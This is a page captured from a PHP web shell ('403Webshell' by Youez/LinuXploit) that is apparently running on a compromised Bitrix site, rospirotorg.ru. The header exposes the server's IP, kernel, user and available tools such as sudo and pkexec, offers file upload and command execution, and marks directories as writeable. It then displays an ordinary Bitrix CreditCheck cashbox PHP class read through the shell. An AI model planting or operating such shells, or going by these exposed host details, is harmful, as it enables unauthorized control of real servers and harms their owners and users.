403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/cashbox/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/cashbox/creditcheck.php
<?php

namespace Bitrix\Sale\Cashbox;

use Bitrix\Main;
use Bitrix\Sale;

Main\Localization\Loc::loadMessages(__FILE__);

/**
 * Class CreditCheck
 * @package Bitrix\Sale\Cashbox
 */

class CreditCheck extends Check
{
	/**
	 * @return string
	 */
	public static function getType()
	{
		return 'credit';
	}

	/**
	 * @return string
	 */
	public static function getName()
	{
		return Main\Localization\Loc::getMessage('SALE_CASHBOX_CREDIT_NAME');
	}

	/**
	 * @return string
	 */
	public static function getCalculatedSign()
	{
		return static::CALCULATED_SIGN_INCOME;
	}

	/**
	 * @return string
	 */
	public static function getSupportedEntityType()
	{
		return static::SUPPORTED_ENTITY_TYPE_SHIPMENT;
	}

	/**
	 * @param array $entities
	 * @throws Main\ArgumentException
	 * @throws Main\ArgumentNullException
	 * @throws Main\ArgumentTypeException
	 * @throws Main\ObjectNotFoundException
	 */
	public function setEntities(array $entities)
	{
		parent::setEntities($entities);

		foreach ($entities as $entity)
		{
			if ($entity instanceof Sale\Shipment)
			{
				$this->setField('SHIPMENT_ID', $entity->getId());

				if (!$this->getField('CURRENCY'))
				{
					$this->setField('CURRENCY', $entity->getOrder()->getCurrency());
				}

				$sum = $entity->getPrice();
				$shipmentItemCollection = $entity->getShipmentItemCollection();

				/** @var Sale\ShipmentItem $item */
				foreach ($shipmentItemCollection as $item)
				{
					$basketItem = $item->getBasketItem();
					$sum += Sale\PriceMaths::roundPrecision($item->getQuantity() * $basketItem->getPrice());
				}

				$this->setField('SUM', $sum);
			}
		}
	}

	/**
	 * @return array
	 */
	protected function extractDataInternal()
	{
		$result = parent::extractDataInternal();

		$totalSum = 0;
		if (isset($result['PRODUCTS']))
		{
			foreach ($result['PRODUCTS'] as $item)
				$totalSum += $item['SUM'];
		}

		if (isset($result['DELIVERY']))
		{
			foreach ($result['DELIVERY'] as $item)
				$totalSum += $item['SUM'];
		}

		$result['PAYMENTS'] = array(
			array(
				'TYPE' => static::PAYMENT_TYPE_CREDIT,
				'SUM' => $totalSum
			)
		);

		$result['TOTAL_SUM'] = $totalSum;

		return $result;
	}

	/**
	 * @return string
	 */
	public static function getSupportedRelatedEntityType()
	{
		return static::SUPPORTED_ENTITY_TYPE_NONE;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit